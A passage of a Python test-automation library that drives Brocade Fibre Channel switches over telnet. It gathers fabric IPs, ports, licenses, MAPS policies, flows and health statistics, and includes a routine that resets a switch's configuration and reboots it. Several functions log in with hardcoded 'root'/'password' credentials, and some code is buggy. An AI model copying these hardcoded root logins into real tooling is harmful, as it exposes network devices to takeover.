a))\n fid = int(fid[0])\n ex_list = [int(\"0\"), i[1], fid]\n ex.append(ex_list)\n return(ex)\n \n def all_switches_in_bb_ip(self):\n \"\"\"\n Returns ip addresses of all switches in backbone fabric. Does not get edge switches.\n \"\"\"\n \n backbone_ip = self.fcr_backbone_ip()\n return(backbone_ip)\n \n def fcr_backbone_ip(self):\n \"\"\"\n Runs fabricshow against backbone switches in a fabric to determine all IPs\n 02/10/15 checked\n #print('\\n\\n'+ '='*20)\n #print(\"Switch Name : %s\" % initial_checks[0])\n #print(\"IP address : %s\" % initial_checks[1])\n #print(\"Chassis : %s\" % initial_checks[2])\n #print(\"VF enabled : %s\" % initial_checks[3])\n #print(\"FCR enabled : %s\" % initial_checks[4])\n #print(\"Base configured : %s\" % initial_checks[5])\n #print('='*20 + '\\n\\n')\n \"\"\"\n fcrcfg = FcrInfo()\n fcrstatus = self.__sw_basic_info__()\n if fcrstatus[5] is not False: # Test if base config'd and if so\n base = fcrstatus[5] ###fcrcfg.base_check() # get the base FID number\n f = FabricInfo(base) ###########NEW OBJECT FOR BASE FID\n get_fabric_ip = f.ipv4_list() ###########NEW OBJECT FOR BASE FID\n else:\n get_fabric_ip = fcrcfg.ipv4_list()\n return(get_fabric_ip)\n \n def fcr_fab_wide_ip(self):\n \"\"\"\n ******************MUST BE RUN IN BASE IF VF IS USED *******************************\n Runs fcrfabricshow and fabricshow against switches in a backbone fabric to determine all IPs then\n removes any duplicate entries.\n This includes both backbone and edge switches and any additional switches resident in edge fabrics.\n Return is a list of IPs.\n \"\"\"\n \n fci = FcrInfo()\n fcrstatus = self.__sw_basic_info__()\n if fcrstatus[3] is not False: # Test if base config'd and if so\n base = fci.base_check() # get the base FID number\n f = FabricInfo(base) ###########NEW OBJECT FOR BASE FID\n # print(f)\n # sys.exit()\n get_fabric_ip = f.ipv4_list() ###########NEW OBJECT FOR BASE FID\n else:\n get_fabric_ip = fci.ipv4_list()\n get_fcr_fabric = self.ipv4_fcr()\n #try:\n fcr_fab_ip_list = (get_fabric_ip + get_fcr_fabric)\n # except TypeError:\n # print(\"\\n############################\")\n # print(\"Either fcrfabricshow and/or fabricshow are coming up as not available or not there.\")\n # print(\"Or this script must be run from a base switch if VF is set\")\n # print(\"############################\\n\")\n # sys.exit()\n all_ips = []\n for ip in fcr_fab_ip_list:\n connect_tel_noparse(ip,'root','password')\n get_fabric_ip = fci.ipv4_list()\n entire_fcr_fab_ip_list = (get_fabric_ip + fcr_fab_ip_list)\n all_ips = (set(entire_fcr_fab_ip_list))\n final_ip_list = (list(all_ips))\n return(final_ip_list)\n\n def fcr_proxy_dev(self):\n \"\"\"\n Get number of proxy devices reported by a switch\n \n \"\"\"\n fos_cmd(\"setcontext %s\" % self.base_check())\n cmd_capture = fos_cmd(\"fcrproxydevshow -a | grep device\")\n print(cmd_capture)\n device_number = re.findall(':\\s([0-9]{1,4})', cmd_capture)\n return(device_number)\n \n def get_licenses(self):\n \"\"\"\n Query all switches in both bacakbone and edges, capture \"licenseshow\" command\n and write licenses to a file in /home/RunFromHere/logs/Switch_Licenses/\n \"\"\"\n ip_list = self.fcr_fab_wide_ip()\n for ip in ip_list:\n connect_tel_noparse(ip,'root','password')\n sw_info = SwitchInfo()\n sw_name = sw_info.switch_name()\n f = \"%s%s%s\"%(\"logs/Switch_Licenses/License_File_\", sw_name ,\".txt\")\n ff = liabhar.FileStuff(f,'a+b') ###open new file or clobber old\n header = \"%s%s%s%s\" % (\"\\nLICENSE FILE \\n\", ip+\"\\n\" , sw_name, \"\\n==============================\\n\\n\")\n cons_out = fos_cmd(\"licenseshow\")\n ff.write(header)\n ff.write(cons_out+\"\\n\")\n ff.close()\n return(True)\n\n def ipv4_fcr(self):\n \"\"\"\n Return a string (list) ipv4 address of switch\\switches connected\n to FCR Router thru EX-Port\n \"\"\"\n #self.__change_fid__()\n fos_cmd(\"setcontext %s\" % self.base_check())\n capture_cmd = fos_cmd(\"fcrfabricshow\")\n \n ras = re.compile('(?:\\d{1,3}\\s+\\d{1,3}\\s+)(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})')\n ras_result_all = ras.findall(capture_cmd)\n \n if not ras_result_all:\n ras_result_all = None \n return(ras_result_all)\n\n def ipv4_fid_export_fcr(self):\n \"\"\"\n Return a string (list) containing EX-Port number, FID and ipv4 address of switch\\switches connected\n to FCR Router thru EX-Port\n \"\"\"\n #self.__change_fid__()\n capture_cmd = fos_cmd(\"fcrfabricshow\")\n ras = re.compile('(\\d{1,3})\\s+(\\d{1,3})\\s+(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})')\n ras_result_all = ras.findall(capture_cmd) \n if not ras_result_all:\n ras_result_all = None\n return(ras_result_all) \n\n def portcfgfillword(self, cfgvalue):\n \"\"\"\n NEED TO TEST DIRECTOR. PIZZA BOX WORKING\n applies OPTION \"3\" TO portcfgfillword command. Suggested cfgvalue = 3\n Will try against all ports in given fid/switch with FOS rejecting\n all but C2 (8GB) ports.\n \"\"\"\n fos_cmd(\"switchdisable\")\n portlist = self.all_ports()\n if self.am_i_director:\n for i in portlist:\n slot = i[0]\n port = i[1]\n fos_cmd(\"\\r\")\n #fos_cmd(\"portcfgfillword \"+slot+\"/\"+port+\" \"+ cfgvalue )\n fos_cmd(\"portcfgfillword %s\"/\"%s %s %\" (slot, port, cfgvalue))\n fos_cmd(\"\\r\")\n else: \n for i in portlist:\n port = str(i[1])\n fos_cmd(\"\\r\")\n fos_cmd(\"portcfgfillword %s %s\" % (port, cfgvalue))\n cmd_cap = fos_cmd(\"switchenable\")\n return(cmd_cap)\n \n def playback_fosconfig_fcr(self):\n \"\"\"\n Enable/Disable FCR functionality per \"logs/Switch_Info_for_playback_\",self.switch_ip,\".txt\"\n This function lives in cofra.switch_update()\n \"\"\"\n \n f = (\"logs/Switch_Info_for_playback_10.38.134.30.txt\")\n try:\n with open(f, 'r') as file:\n a = file.read()\n except IOError:\n print(\"\\n\\nThere was a problem opening the file:\" , f)\n sys.exit() \n ras_fcr = re.findall('FCR ENABLED\\s+:\\s+([True0-9]+)', a)\n #ras_base = re.findall('BASE SWITCH\\s+:\\s+([TrueFals0-9]+)', a)\n #ras_vf_enabled = re.findall('VF SETTING\\s+:\\s([TrueFals0-9]+)', a)\n\n print(\"@\"*44)\n print(type(ras_fcr))\n print(ras_fcr)\n print(\"@\"*44)\n \n if ras_fcr:\n fos_cmd(\"fosconfig --enable fcr\")\n else:\n fos_cmd(\"fosconfig --disable fcr\")\n return(True)\n \nclass FcipInfo(FcrInfo, FabricInfo, SwitchInfo):\n \"\"\"\n A class to return information about a switch\n Class for FCIP functions and information.\n \"\"\"\n #global tn\n \n def __init__(self):\n FcrInfo.__init__(self)\n FabricInfo.__init__(self)\n SwitchInfo.__init__(self)\n\n \n def __sw_show_info_ge_port_type__(self):\n \"\"\"\n capture the switch info and each column with regexs\n if the port type is not included in switchshow output\n then add the port to the list\n \"\"\"\n #tn.set_debuglevel(9)\n capture_cmd = fos_cmd(\"switchshow\")\n if self.am_i_director:\n ras = re.compile('\\s?([0-9]{1,3})\\s+([-\\d]+)\\s+(\\d+)\\s+([-0-9abcdef]{6})\\s+([-id]{2})\\s+([-UNG12486]{2,3})\\s+([_\\w]{5,9})\\s+((FC)\\s*(?=\\\\n))')\n else:\n #ras = re.compile('\\s?([0-9]{1,3})\\s+(\\d+)\\s+([-0-9abcdef]{6})\\s+([-id]{2})\\s+([-UNG12486]{2,3})\\s+([_\\w]{5,9})\\s+((FC)\\s*(?=\\\\n))')\n ras = re.compile('\\s?([0-9]{1,3})\\s+(\\d+)\\s+([-0-9a-f]{6})\\s+([-id]{2})\\s+([-UNG12486]{2,3})\\s+([_\\w]{5,9})\\s+((FC)\\s*(?=\\\\n))')\n ras = ras.findall(capture_cmd)\n self.online_ports = ras\n \n def all_online_ge_ports(self):\n \"\"\"\n 02/09/2015 checked\n Capture all online ge and xge ports.\n On chassis and pizzaboxes only catches ge ports in base(if base configured).\n \"\"\"\n base = self.base_check()\n #initial_checks = self.__sw_basic_info__()\n #print('\\n\\n'+ '='*20)\n #print(\"Switch Name : %s\" % initial_checks[0])\n #print(\"IP address : %s\" % initial_checks[1])\n #print(\"Chassis : %s\" % initial_checks[2])\n #print(\"VF enabled : %s\" % initial_checks[3])\n #print(\"FCR enabled : %s\" % initial_checks[4])\n #print(\"Base configured : %s\" % initial_checks[5])\n #print('='*20 + '\\n\\n')\n #switch_info = { 'switch_name' : initial_checks[0],'ipaddr' : initial_checks[1], 'chassis' : initial_checks[2],'vf_enabled' : initial_checks[3], 'fcr_enabled' : initial_checks[4], 'base' : initial_checks[5]}\n online_ports = []\n if self.am_i_director:\n if base:\n fos_cmd(\"setcontext \" + base)\n capture_cmd = fos_cmd(\"switchshow | grep -i ge\")\n else:\n capture_cmd = fos_cmd(\"switchshow | grep -i ge\")\n ras = re.compile('(?:\\s+([0-9]{1,2})\\s{1,2})([xge]{1,3}\\d{1,2})\\s+id\\s+([0-4]{1,2}G)\\s+([_\\w]{5,9})\\s+.{3,4}')\n ras = ras.findall(capture_cmd)\n for i in ras:\n if \"Online\" in i:\n print(i)\n online_ports.append(i)\n #print(online_ports) \n return(online_ports)\n else:\n if base:\n fos_cmd(\"setcontext \" + base)\n capture_cmd = fos_cmd(\"switchshow | grep -i ge\")\n else:\n capture_cmd = fos_cmd(\"switchshow | grep -i ge\")\n ras = re.compile('(?:\\s+)([xge]{1,3}\\d{1,2})\\s+[id-]{1,2}\\s+([0-4]{1,2}G)\\s+([_\\w]{5,9})\\s+.{3,4}')\n ras = ras.findall(capture_cmd)\n #print(ras)\n for i in ras:\n if \"Online\" in i:\n print(i)\n online_ports.append(i)\n #print(online_ports) \n return(online_ports)\n \n def all_ge_port_disabled(self):\n \"\"\"\n Capture all disabled ge and xge ports.\n On chassis and pizzaboxes only catches ge ports in base(if base configured).\n \"\"\"\n base = self.base_check()\n disabled_ports = []\n if self.am_i_director:\n if base:\n fos_cmd(\"setcontext \" + base)\n capture_cmd = fos_cmd(\"switchshow | grep -i ge\")\n else:\n capture_cmd = fos_cmd(\"switchshow | grep -i ge\")\n print(capture_cmd)\n ras = re.compile('(?:\\s+)([xge]{1,3}\\d{1,2})\\s+[id-]{1,2}\\s+([0-4]{1,2}G)\\s+([_\\w]{3,9})\\s+.{3,4}\\s+(Disabled)')\n ras = ras.findall(capture_cmd)\n for i in ras:\n if \"Disabled\" in i:\n print(i)\n disabled_ports.append(i)\n #print(online_ports) \n return(disabled_ports)\n else:\n if base:\n fos_cmd(\"setcontext \" + base)\n capture_cmd = fos_cmd(\"switchshow | grep -i ge\")\n else:\n capture_cmd = fos_cmd(\"switchshow | grep -i ge\")\n ras = re.compile('(?:\\s+)([xge]{1,3}\\d{1,2})\\s+[id-]{1,2}\\s+([0-4]{1,2}G)\\s+([_\\w]{3,9})\\s+.{3,4}\\s+(Disabled)')\n #ras = re.compile('(?:\\s+([0-9]{1,2})\\s{1,2})([xge]{1,3}\\d{1,2})\\s+id\\s+([0-4]{1,2}G)\\s+([_\\w]{5,9})\\s+.{3,4}\\s+Disabled')\n ras = ras.findall(capture_cmd)\n #print(ras)\n #for i in ras:\n # print(i)\n #sys.exit()\n # if \"Disabled\" in i:\n # print(i)\n # disabled_ports.append(i)\n ##print(online_ports) \n return(disabled_ports)\n \n def vex_ports(self):\n \"\"\"\n Return a list of the VEX-Ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"VEX-Port\"))\n \n def ex_ports(self):\n \"\"\"\n Return a list of the EX-Ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"EX-Port\"))\n \n def all_ge_ports(self):\n \"\"\"\n Return a list of the ge-Ports in the current FID\n \"\"\"\n return(self.__getportlist__(\"ge-Port\"))\n \nclass ConfigSwitch(SwitchInfo):\n \n \n \n def cfgupload(self):\n fos_cmd(\"configupload\")\n \n \n def getLsPorts(self):\n rasfile = \"configofswitch\"\n rasfile = \"%s%s%s\" % (\"logs/configofswitch\", self.ipaddr,\".txt\") #### %s string %d number\n \n sw_license = str(self.getLicense())\n sw_license = sw_license.replace(\"'\", '')\n sw_ls_list = self.ls()\n sw_ls = str(sw_ls_list)\n sw_ls = sw_ls.replace(\"'\", '')\n \n ras_log_file = liabhar.FileStuff(rasfile, 'w+b') #### reset the log file\n ras_log_file.close()\n \n ras_log_file = liabhar.FileStuff(rasfile, 'a+b') #### open the log file for writing\n ras_log_header = \"%s%s%s\" % (\"RASLOG CAPTURE FILE \\n\", self.ipaddr, \"\\n==========================\\n\\n\")\n \n ras_log_file.write(ras_log_header)\n ras_log_file.write(\"\\nLOGICAL SWITCHES::\\n\")\n ras_log_file.write(sw_ls+\"\\nEND\\n\")\n ras_log_file.write(\"\\nLOGICAL SWITCH PORTS::\\n\")\n \n print(\"\\n\\nget the list of ports\\n\\n\")\n for ls in sw_ls_list:\n print(\"\\n\\nin the for loop \"+ls+\" \\n\\n\")\n capture_cmd = fos_cmd(\"setcontext %s\"% ls)\n p = self.all_ports()\n p = str(p)\n p = p.replace(\"'\", '')\n ras_log_file.write(\"%s : %s\\n\"%(ls, p))\n #ras_log_file.write(\"\\n\")\n ras_log_file.write(\"END\\n\")\n ras_log_file.write(\"\\nLICENSE::\\n\")\n ras_log_file.write(sw_license)\n ras_log_file.write(\"END\\n\")\n ras_log_file.close()\n \n self.saveSwitchInfo()\n \n def getSwitchID(self):\n return(self.switch_id())\n \n \n def saveSwitchInfo(self):\n \"\"\"\n get license info\n get ls info and base info\n get switchname info\n get switch id info\n \n save to config file logs/sqa_test_config.txt\n \n NOT WORKING. OBSOLETE?????\n \n \"\"\"\n cw_config_file_name = \"%s%s%s\" %(\"logs/configofswitch\", self.ipaddr,\".txt\")\n #rl = [] \n fileIN = open( cw_config_file_name, 'rb')\n keepnext = 0\n for line in fileIN:\n print(\"0000000000000000000000000000000000000000000000\")\n print(line)\n print(\"11111111111111111111111111111111111111111111111\")\n liabhar. count_down(1)\n line_str = str(line)\n remains_line = str(line.strip(), encoding='utf8')\n remains_line = remains_line.replace(\"[\", '')\n remains_line = remains_line.replace(\"]\", '')\n remains_line = remains_line.replace(\"(\", '')\n remains_line = remains_line.replace(\")\", '')\n \n if \"END\" in line_str:\n keepnext = 0 \n \n if keepnext:\n rl = []\n print(\"2222222222222222222222222222222222222222222222\")\n print(\"do some setup here\\n\")\n print(\"split on , and print a digit\")\n \n fid2 = remains_line\n fid2 = fid2.split(\":\") \n fid3 = fid2[0]\n \n print(\"FID3 IS \")\n print(fid3)\n print(\"FID2 IS \")\n print(fid2)\n print(\"\\n\\n\")\n fid4 = fid2[1]\n fid4 = str(fid4)\n fid4 = fid4.split(\",\")\n #remains_line = remains_line.split(\",\")\n \n for i in fid4:\n print(i)\n rl.append(i)\n print(\"==============================================\")\n for r in rl:\n print(r)\n print(\"2222222222222222222222222222222222222222222222\")\n ########'Are you sure you want to fail over to the standby '\n\n #### create slot port pair from the list \n if len(rl) >= 2:\n for index in range(0,len(rl),2):\n slot = rl[index]\n port = rl[index +1]\n print(\"slot,port \", end=\"\" )\n print(slot+\",\"+port)\n \n print(\"2222222222222222222222222222222222222222222222\")\n print(\"2222222222222222222222222222222222222222222222\")\n \n \n if \"LOGICAL SWITCH PORTS\" in line_str:\n keepnext = 1\n print(\"change keepnext to 1\")\n \n def config_default(self):\n \"\"\"\n Do switchconfigdefault on FID used in CLI only.\n Switch needs to be offline, rebooted and brought back online.\n \"\"\"\n \n host = sys.argv[1]\n user = sys.argv[2]\n password = sys.argv[7]\n state = SwitchInfo.switch_state(self)\n if state == \"Online\":\n fos_cmd(\"switchdisable\")\n else:\n pass\n fos_cmd(\"echo Y | configdefault\")\n fos_cmd(\"echo Y | reboot\")\n liabhar.count_down(120)\n connect_tel_noparse(host, user, password)\n fos_cmd(\"switchenable\")\n liabhar.count_down(10)\n state = SwitchInfo.switch_state(self)\n return(state)\n\nclass Maps(SwitchInfo):\n \n def enable(self, policy ):\n return(fos_cmd(\"echo Y | mapsconfig --enable -policy %s \" % policy))\n \n def actions(self, action_list ):\n return(fos_cmd(\"mapsconfig --actions %s \" % action_list))\n\n def email_cfg(self, email_list ):\n return(fos_cmd(\"mapsconfig --emailcfg -address %s \" % email_list))\n\n def get_email_cfg(self):\n \"\"\"\n \n \"\"\"\n \n capture_cmd = fos_cmd(\"mapsconfig --show\")\n ras = re.compile('Mail Recipient:\\s+([\\._@0-9a-zA-Z]+)')\n ras = ras.findall(capture_cmd)\n \n return(ras)\n \n def get_actions(self):\n \"\"\"\n \"\"\"\n \n capture_cmd = fos_cmd(\"mapsconfig --show\")\n ras = re.compile('Notifications:\\s+([\\._@0-9a-zA-Z ,]+)')\n ras = ras.findall(capture_cmd)\n \n return(ras)\n \n def get_rules(self):\n capture_cmd = fos_cmd(\"mapsrule --show -all\")\n ras = re.compile('(def[ A-Z0-9nm_]{0,40}(?:|[_A_Z]+\\())')\n ras = ras.findall(capture_cmd)\n ras = str(ras)\n ras = ras.replace(\"'\",\"\")\n ras = ras.replace(\"[\",\"\")\n ras = ras.replace(\"]\",\"\")\n ras = ras.replace(\",\",\"\")\n ras = ras.replace(\"|,\", \"\")\n \n return(ras)\n\n \n \n def get_policies(self, p = 's' ):\n #### ruturn the policy rules list for p\n #### a = aggresive policy\n #### c = conservative policy\n #### m = moderate policy\n #### s or none = summary of policy\n \n if p == \"s\":\n capture_cmd = fos_cmd(\"mapspolicy --show -summary\")\n ras = re.compile('([_\\w\\d]+)\\s+(?=:)')\n ras = ras.findall(capture_cmd)\n \n return(ras)\n \n elif p == \"a\":\n return(fos_cmd(\"mapspolicy --show -dflt_aggressive_policy\"))\n elif p == \"c\":\n return(fos_cmd(\"mapspolicy --show -dflt_conservative_policy\"))\n elif p == \"m\":\n return(fos_cmd(\"mapspolicy --show -dflt_moderate_policy\"))\n elif p == \"b\":\n return(fos_cmd(\"mapspolicy --show -dflt_base_policy\"))\n else:\n return(\"Could not determine the type of policy\")\n \n def get_nondflt_policies(self):\n \"\"\"\n get the policies in a list of the non default policies\n need to remove the default policies\n \"\"\"\n capture_cmd = fos_cmd(\"mapspolicy --show -summary\")\n ras = re.compile('([_\\w\\d]+)\\s+(?=:)')\n \n ras = ras.findall(capture_cmd)\n \n dp = [ \"dflt_aggressive_policy\", \"dflt_moderate_policy\", \"dflt_conservative_policy\", \"dflt_base_policy\" ]\n for p in dp :\n try:\n ras.remove(p)\n except ValueError:\n pass\n \n return(ras)\n \n def get_active_policy(self):\n \"\"\"\n get the active policy of MAPS\n \n Active Policy is 'dflt_aggressive_policy'.\n \n \"\"\"\n \n capture_cmd = fos_cmd(\"mapspolicy --show -summary\")\n ras = re.compile(\"Active Policy is '([_\\w\\d]+)'\")\n \n ras = ras.findall(capture_cmd)\n \n return(ras)\n \n \n \n def get_relay_server_info(self):\n \"\"\"\n Relay Host: \n Relay Domain Name: \n \"\"\"\n \n capture_cmd = fos_cmd(\"relayconfig --show\")\n ras_host = re.compile('Relay Host:\\s+([\\.0-9:]+)')\n ras_domain = re.compile('Relay Domain Name:\\s+([\\.A-Za-z]+)')\n ras_host = ras_host.findall(capture_cmd)\n ras_domain = ras_domain.findall(capture_cmd)\n \n relay_info = str(ras_host) + \" \" + str(ras_domain)\n \n \n return(relay_info)\n \n \n \n def db_search(self, pattern ):\n \"\"\"\n send the mapsdb command and return search string line\n for a Rule_name and returns the info on the\n rest of the line\n \n \"\"\"\n capture_cmd = fos_cmd(\"mapsdb --show details\")\n #### %s=Rule Name |Execution time|Object | triggered value\n repattern = \"(%s)([ |/:\\d]+(?=|))([ \\w\\d\\s\\\\t]+)(?=|)([ \\w\\d\\s\\\\t%s]+(?=|))\" % (pattern, \"%\")\n repattern = \"(%s)([ |/:\\d]+(?=|))([ \\w\\d\\s\\\\t]+)(?=|)(.+)\" % (pattern)\n \n \n #ras = re.compile('(%s)[ |/:\\d]+(?=|)([ \\w\\d\\s|%]+)(?=\\\\n)' % pattern)\n print(\"R\"*80)\n print(\"R\"*80)\n print(repattern)\n print(\"U\"*80)\n print(\"U\"*80)\n ras = re.compile(repattern)\n ras = ras.search(str(capture_cmd))\n \n #output = ras.replace(\"|\",\"\")\n #output = output.split(\" \")\n \n if ras:\n return(ras.group())\n #return(output)\n else:\n return(\"no match found\")\n \n \n def ras_message_search(self, pattern):\n \"\"\"\n search the errlog for a specific pattern\n \n \"\"\"\n cap = fos_cmd(\"tempshow\", 9 )\n print(\"TEMP\"*20)\n print(\"TEMP\"*20)\n print(\"TEMP\"*20)\n print(cap)\n \n \n capture_cmd = fos_cmd(\"errdumpall\", 9 )\n \n print(\"SHOW\"*20)\n print(\"SHOW\"*20)\n print(\"SHOW\"*20)\n print(\"SHOW\"*20)\n \n \n ras = re.compile(\"(%s)\" % pattern)\n \n ras = ras.search(str(capture_cmd))\n \n if ras:\n return(ras.group())\n else:\n return(\"no match found\")\n \n return(0)\n \n \n def logicalgroup_count(self, group=\"ALL\"):\n \"\"\"\n return the count for the line group passed for any of the following\n \n ALL_PORTS\n ALL_F_PORTS ALL_OTHER_F_PORTS ALL_HOST_PORTS \n ALL_TARGET_PORTS ALL_TS ALL_FAN \n ALL_PS ALL_WWN ALL_SFP \n ALL_10GSWL_SFP ALL_10GLWL_SFP ALL_16GSWL_SFP \n ALL_16GLWL_SFP ALL_QSFP ALL_OTHER_SFP \n ALL_SLOTS ALL_SW_BLADES ALL_CORE_BLADES \n ALL_FLASH ALL_CIRCUITS SWITCH \n CHASSIS ALL_D_PORTS\n \n \"\"\"\n ###############################################################################################################\n ###############################################################################################################\n ####\n #### return a list of all the values\n ####\n ###############################################################################################################\n \n \n if group == \"ALL\":\n capture_cmd = fos_cmd(\"logicalgroup --show\")\n #ras = re.compile(\"(ALL_SW_BLADES)\\s+(?:\\|)(Yes)\\s+\\|(Blade)\\s+(?:\\|)([0-9])\\s+(?:\\|)([,0-9])\")\n ras = re.compile(\"([_A-Z0-9]+)\\s+\\|Yes\\s+\\|[ \\w]+\\|([0-9]+)\") \n #ras = ras.search(capture_cmd)\n ras = ras.findall(capture_cmd)\n if not ras:\n value = \"-1\"\n else:\n print(\"\\nTHIS IS RAS \\n\")\n print(ras)\n \n #liabhar.JustSleep(110)\n \n return(ras)\n \n else:\n capture_cmd = fos_cmd(\"logicalgroup --show\")\n \n #ras = re.compile(\"(ALL_SW_BLADES)\\s+(?:\\|)(Yes)\\s+\\|(Blade)\\s+(?:\\|)([0-9])\\s+(?:\\|)([,0-9])\")\n ras = re.compile(\"(%s)\\s+\\|Yes\\s+\\|[ \\w]+\\|([0-9]+)\" % group) \n #ras = ras.search(capture_cmd)\n ras = ras.findall(capture_cmd)\n if not ras:\n value = \"-1\"\n else:\n print(\"\\nTHIS IS RAS \\n\")\n print(ras)\n print(\"\\nTHIS IS RAS GROUP \\n\")\n print(ras[0][1])\n \n value = ras[0][1]\n #liabhar.JustSleep(10)\n return(value)\n\n def cpu_usage(self):\n \"\"\"\n calculate the cpu usage from the data\n in /proc/stat\n the numbers are captured in /proc/stat\n wait 2 minutes and capture the numbers again\n make the calculation\n \n \"\"\"\n #### equation for cpu usage\n #### cat /proc/stat - in the line containing cpu, the 4th number \n #### is the idle time. The CPU usage is calculated as\n #### (100-(idle value at T1 - idle value at T2)*100/(sum of all number\n #### at T1 - sum of all numbers at T2))\n ####\n #### cat /proc/stat\n # cpu 1296327 9539 459156 22597828 163062 9894 61210 0\n # cpu0 1296327 9539 459156 22597828 163062 9894 61210 0\n # intr 44837986softirq 65577794 148267 24596931 0 38492796 0 2339800\n ####\n capture_cmd = fos_cmd(\"cat /proc/stat\")\n ras = re.compile(\"^[ cpu]+([ \\s\\d]+)\")\n ras = ras.match(capture_cmd)\n \n cpu_calc = (ras.group()).split()\n sumt1 = ( float(cpu_calc[1]) + float(cpu_calc[2]) + float(cpu_calc[3]) \\\n + float(cpu_calc[4]) + float(cpu_calc[5]) + float(cpu_calc[6])\\\n + float(cpu_calc[7]))\n liabhar.JustSleep(120)\n capture_cmd = fos_cmd(\"cat /proc/stat\")\n ras = re.compile(\"^[ cpu]+([ \\s\\d]+)\")\n ras = ras.match(capture_cmd)\n \n cpu_calcT2 = (ras.group()).split()\n sumt2 = ( float(cpu_calcT2[1]) + float(cpu_calcT2[2]) \\\n + float(cpu_calcT2[3]) + float(cpu_calcT2[4]) \\\n + float(cpu_calcT2[5]) + float(cpu_calcT2[6]) \\\n + float(cpu_calcT2[7]))\n \n #cpu_use = (100 - (((float(cpu_calc[4]) - float(cpu_calcT2[4]))*100)/(sumt1 - sumt2)))\n cpu_use_n = ((float(cpu_calc[4]) - float(cpu_calcT2[4])) *100)\n cpu_use_d = (sumt1 - sumt2)\n cpu_use = (round(100-( cpu_use_n / cpu_use_d),2) ) \n \n return(cpu_use)\n \n \n \n def temp_status(self):\n \"\"\"\n scan all the temp sensors and return the high temp, low temp\n and average temp of the switch using the tempshow command\n \n \"\"\"\n #capture_cmd = fos_cmd(\"tempshow\")\n #\n #ras = re.compile(\"\\d+\\s+\\w+\\s+\\d+\\s+\\d+\")\n #ras = ras.findall(capture_cmd)\n #ras_str = str(ras)\n #ras_str = ras_str.replace(\"\\\\t\",\" \")\n #ras_str = ras_str.replace(\"'\", \"\")\n #ras_str = ras_str.replace(\"[\", \"\")\n #ras_str = ras_str.replace(\"]\", \"\")\n ##ras_str = ras_str.replace(\" \", \"\")\n #ras_final = \" \".join(ras_str.split())\n #\n #ras_final = ras_final.split()\n \n tempsensor_list = self.temp_sensors()\n \n highside = -1\n lowside = 999\n average = -1\n count = 0\n total = 0\n \n if self.am_i_director:\n for i in tempsensor_list:\n if int(i[3]) > highside:\n highside = int(i[3]) \n if int(i[3]) < lowside:\n lowside = int(i[3])\n count = count + 1\n total = total + int(i[3])\n else:\n for i in tempsensor_list:\n if int(i[2]) > highside:\n highside = int(i[2]) \n if int(i[2]) < lowside:\n lowside = int(i[2])\n count = count + 1\n total = total + int(i[3])\n \n average = total / count\n high_low_average = [ highside, lowside, average]\n \n return(high_low_average)\n \n \n def mem_usage(self):\n \"\"\"\n calculate the memory usage from the data\n returned in the command free\n \"\"\"\n capture_cmd = fos_cmd(\"free\")\n ras = re.compile(\"[Mem:]{4}([ \\s\\d]+)\")\n ras = ras.search(capture_cmd)\n #### use the calculation (total - free - buffers - cached)/ total\n #### ( 1024096 - 351328 - 40884 - 379300 ) / 1024096 = 25%\n ####\n mem_calc = (ras.group()).split()\n mem_use = float( float(mem_calc[1]) - float(mem_calc[3]) - float(mem_calc[5]) - float(mem_calc[6]) )\n mem_use = (100 * round( mem_use / float(mem_calc[1]), 2))\n \n return(mem_use)\n \nclass FlowV(SwitchInfo):\n \n def genAll(self, on_off = \"on\"):\n if on_off == \"on\":\n fos_cmd(\"flow --activate sys_gen_all_simports -fea gen\")\n elif on_off == \"off\":\n fos_cmd(\"flow --deactivate sys_gen_all_simports -fea gen\")\n else:\n pass\n \n def genAllStats(self):\n cmd_out = fos_cmd(\"flow --show sys_gen_all_simports\")\n ras = re.compile('(?<=[:\\s+])(\\d+\\.?\\d+[GMTPk]?)')\n ras = re.compile('(?<=[:\\s+])(\\d+[\\.\\dGMTPk]+)')\n ras = ras.findall(cmd_out)\n st = \"\"\n for s in ras:\n st = st + s\n st = st + \"\\t\\t\"\n st = st + \"\\n\"\n return(st)\n \n def flow_names(self):\n \"\"\"\n get all the flow names return in a list\n \n \"\"\"\n cmd_out = fos_cmd(\"flow --show \")\n \n #print(\"\\n\\n\\n\",cmd_out , \"\\n\\n\\n\\n\")\n #ras = re.compile('([_-a-z0-9A-z]{1,20})[ \\|]+[\\*,-|a-zA-Z0-9]+(?=\\n)')\n ras = re.compile('\\n([_a-z0-9A-Z]{1,20})\\s+(?=|)')\n ras = ras.findall(cmd_out)\n \n #print(ras)\n return(ras)\n \n def get_nondflt_flows(self):\n \"\"\"\n \n \"\"\"\n cmd_out = fos_cmd(\"flow --show \")\n \n #print(\"\\n\\n\\n\",cmd_out , \"\\n\\n\\n\\n\")\n #ras = re.compile('([_-a-z0-9A-z]{1,20})[ \\|]+[\\*,-|a-zA-Z0-9]+(?=\\n)')\n ras = re.compile('\\n([_a-z0-9A-Z]{1,20})\\s+(?=|)')\n ras = ras.findall(cmd_out)\n \n df = [ \"sys_gen_all_simports\", \"sys_analytics_vtap\", \"sys_mon_all_fports\", \"sys_mon_all_vms\" ]\n for d in df:\n try:\n ras.remove(d)\n except ValueError:\n pass\n \n return(ras)\n \n def get_active_flows(self):\n \"\"\"\n get the active flows only\n \n mon_eport_38 |mon+\n \n \n \"\"\"\n cmd_out = fos_cmd(\"flow --show \")\n\n ras = re.compile('\\n([_a-z0-9A-Z]{1,20})\\s*\\|[mongeir]{3,3}\\+')\n ras = ras.findall(cmd_out)\n \n return(ras)\n \n def get_flow_details(self):\n \"\"\"\n \n \"\"\"\n cmd_out = fos_cmd(\"flow --show \")\n\n ras = re.compile('\\n([_a-z0-9A-Z]{1,20})\\s*\\|[+mongeir]{3,4}\\s+\\|([-*0-9a-f]{1,6})\\s+\\|([-*0-9a-f]{1,6})\\s+\\|([-*0-9]{1,4})\\s+\\|([-*0-9]{1,4})\\s+\\|([a-z]{1,5})\\s+\\|([-0-9]{1,5})\\s+\\|([-_A-Za-z0-9]{1,16})\\s*\\|([-A-Za-z0-9]{1,4})\\s*\\|([-A-Za-z0-9]{1,4})\\s*\\|([ -_A-Za-z0-9]{1,47})\\s*\\|([-,0-9]{1,6})')\n ras = ras.findall(cmd_out)\n \n return(ras)\n \n def get_egr_stats(self, act_flow):\n \"\"\"\n \n \n \"\"\"\n \n cmd_out = fos_cmd(\"flow --show %s \"% act_flow)\n \n 